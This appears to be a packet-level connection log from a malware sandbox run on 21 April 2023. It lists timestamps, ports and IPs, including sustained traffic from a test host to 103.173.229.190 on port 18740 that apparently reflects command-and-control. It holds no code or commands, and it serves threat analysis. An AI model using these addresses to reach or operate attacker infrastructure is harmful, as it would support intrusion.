Apr 21, 2023 01:03:01.556998014 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.557049036 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.557070971 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.557090998 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.557118893 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.557522058 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.557564974 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.557610989 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.557631016 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.557658911 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.557971954 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.558024883 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.558060884 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.558079958 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.558125973 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.558393955 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.558440924 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.558470011 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.558485985 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.558525085 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.558950901 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.559003115 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.559034109 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.559055090 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.559093952 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.559359074 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.559427023 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.559438944 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.559458971 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.559521914 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.559895992 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.559947968 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.559987068 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.560010910 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.560055971 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.560317993 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.560364962 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.560390949 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.560409069 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.560489893 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.560813904 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.560866117 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.560893059 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.560911894 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.560956001 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.561227083 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.561270952 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.561315060 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.561333895 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.561358929 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.608499050 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.608573914 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.608705997 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.608705997 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.608722925 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.608752966 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.608798981 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.608807087 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.608824015 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.608845949 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.608887911 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.608906984 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.608932972 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.608979940 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.609015942 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.609045982 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.609072924 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.609086037 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.609114885 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.609129906 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.609153032 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.609180927 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.609194040 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.609271049 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.610054970 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.611639023 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:36.210944891 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:36.437705040 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:36.437978029 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:36.867296934 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:37.094314098 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:37.250682116 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:38.867959023 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:39.095124006 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:39.250967026 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:46.997176886 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:47.226418018 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:47.226504087 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:47.226558924 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:47.226639986 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:47.267148018 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:49.419209957 CEST	49689	80	192.168.2.3	208.95.112.1
Apr 21, 2023 01:03:49.448839903 CEST	80	49689	208.95.112.1	192.168.2.3
Apr 21, 2023 01:03:49.448995113 CEST	49689	80	192.168.2.3	208.95.112.1
Apr 21, 2023 01:03:49.450515032 CEST	49689	80	192.168.2.3	208.95.112.1
Apr 21, 2023 01:03:49.488204002 CEST	80	49689	208.95.112.1	192.168.2.3
Apr 21, 2023 01:03:49.488405943 CEST	49689	80	192.168.2.3	208.95.112.1
Apr 21, 2023 01:03:50.308104038 CEST	49690	80	192.168.2.3	46.173.218.172
Apr 21, 2023 01:03:50.664745092 CEST	49679	80	192.168.2.3	8.238.189.126
Apr 21, 2023 01:03:50.664843082 CEST	49680	80	192.168.2.3	8.238.189.126
Apr 21, 2023 01:03:50.684607983 CEST	80	49680	8.238.189.126	192.168.2.3
Apr 21, 2023 01:03:50.684887886 CEST	49680	80	192.168.2.3	8.238.189.126
Apr 21, 2023 01:03:50.686028957 CEST	80	49679	8.238.189.126	192.168.2.3
Apr 21, 2023 01:03:50.686300039 CEST	49679	80	192.168.2.3	8.238.189.126
Apr 21, 2023 01:03:53.406265974 CEST	49690	80	192.168.2.3	46.173.218.172
Apr 21, 2023 01:03:55.997617960 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:56.224850893 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:56.314779997 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:56.325828075 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:56.552653074 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:56.705454111 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:57.189621925 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:57.415888071 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:57.415935040 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:57.415966034 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:57.416001081 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:57.416017056 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:57.416074038 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:57.459369898 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:57.642402887 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:57.643507957 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:57.705521107 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:57.723742962 CEST	49691	80	192.168.2.3	208.95.112.1
Apr 21, 2023 01:03:57.753139019 CEST	80	49691	208.95.112.1	192.168.2.3
Apr 21, 2023 01:03:57.754306078 CEST	49691	80	192.168.2.3	208.95.112.1
Apr 21, 2023 01:03:57.764328003 CEST	49691	80	192.168.2.3	208.95.112.1
Apr 21, 2023 01:03:57.802038908 CEST	80	49691	208.95.112.1	192.168.2.3
Apr 21, 2023 01:03:57.802131891 CEST	49691	80	192.168.2.3	208.95.112.1
Apr 21, 2023 01:03:57.864303112 CEST	49692	80	192.168.2.3	84.252.73.140
Apr 21, 2023 01:03:57.947107077 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:58.174329042 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:58.268558025 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:58.496871948 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:58.498368979 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:58.725564957 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:03:58.798346043 CEST	80	49678	13.107.4.50	192.168.2.3
Apr 21, 2023 01:03:58.815005064 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:03:59.440047979 CEST	49690	80	192.168.2.3	46.173.218.172
Apr 21, 2023 01:03:59.982990026 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.209393024 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.209439039 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.209477901 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.209614038 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.209614992 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.209700108 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.209718943 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.209753990 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.209789991 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.209830999 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.209850073 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.209850073 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.209866047 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.209893942 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.209928989 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.209969044 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.210027933 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.210419893 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.210454941 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.210489035 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.210553885 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.210553885 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.210632086 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.210633039 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.211203098 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436166048 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436214924 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436253071 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436355114 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.436439991 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.436476946 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436515093 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436599970 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.436599970 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.436651945 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436688900 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436763048 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.436764002 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.436779976 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436815977 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.436956882 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437048912 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437180996 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437361956 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437400103 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437511921 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437549114 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437805891 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437817097 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.437839985 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437927008 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437943935 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.437943935 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.437962055 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.437999964 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.438034058 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.438141108 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.438244104 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.438482046 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.664499044 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.664561033 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.664602995 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.664639950 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.664850950 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.665113926 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.665150881 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.665412903 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.665448904 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.665708065 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.665870905 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.665905952 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666033983 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666069984 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666306019 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666340113 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666471958 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666506052 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666559935 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.666748047 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.666769981 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666802883 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666835070 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.666969061 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667062044 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667248011 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667283058 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667376041 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667501926 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667690039 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667726040 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667864084 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667900085 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.667934895 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.668498993 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.668534994 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.668627977 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.668812990 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.668848991 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.668881893 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.669389963 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.669526100 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.892891884 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.892915010 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.893153906 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.893347979 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.893428087 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.893637896 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.893826962 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.893907070 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.894063950 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.894083977 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.894222021 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.894352913 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.894510031 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.894748926 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.894901037 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.894983053 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.895001888 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.895142078 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.895221949 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.895303011 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.895416975 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.895591021 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.895664930 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.895750999 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.895870924 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896018028 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896035910 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896051884 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896238089 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896347046 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896464109 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896519899 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.896538019 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896719933 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.896770954 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896789074 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896806955 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.896934986 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897063971 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897186041 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897284985 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897331953 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897430897 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897555113 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897574902 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897747040 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897802114 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.897898912 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.898036003 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.898051023 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.898148060 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.898224115 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.898408890 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:00.898883104 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.899045944 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:00.940352917 CEST	49692	80	192.168.2.3	84.252.73.140
Apr 21, 2023 01:04:01.122900009 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.122936964 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.122956991 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.122976065 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123073101 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123136997 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123193026 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123301029 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123320103 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123430014 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123481035 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123554945 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123574018 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123713970 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123734951 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123862028 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123881102 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.123989105 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.124008894 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.124553919 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.124742031 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.124955893 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125057936 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125107050 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125169992 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125247955 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125345945 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125365973 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125489950 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125535965 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125610113 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125653982 CEST	18740	49688	103.173.229.190	192.168.2.3
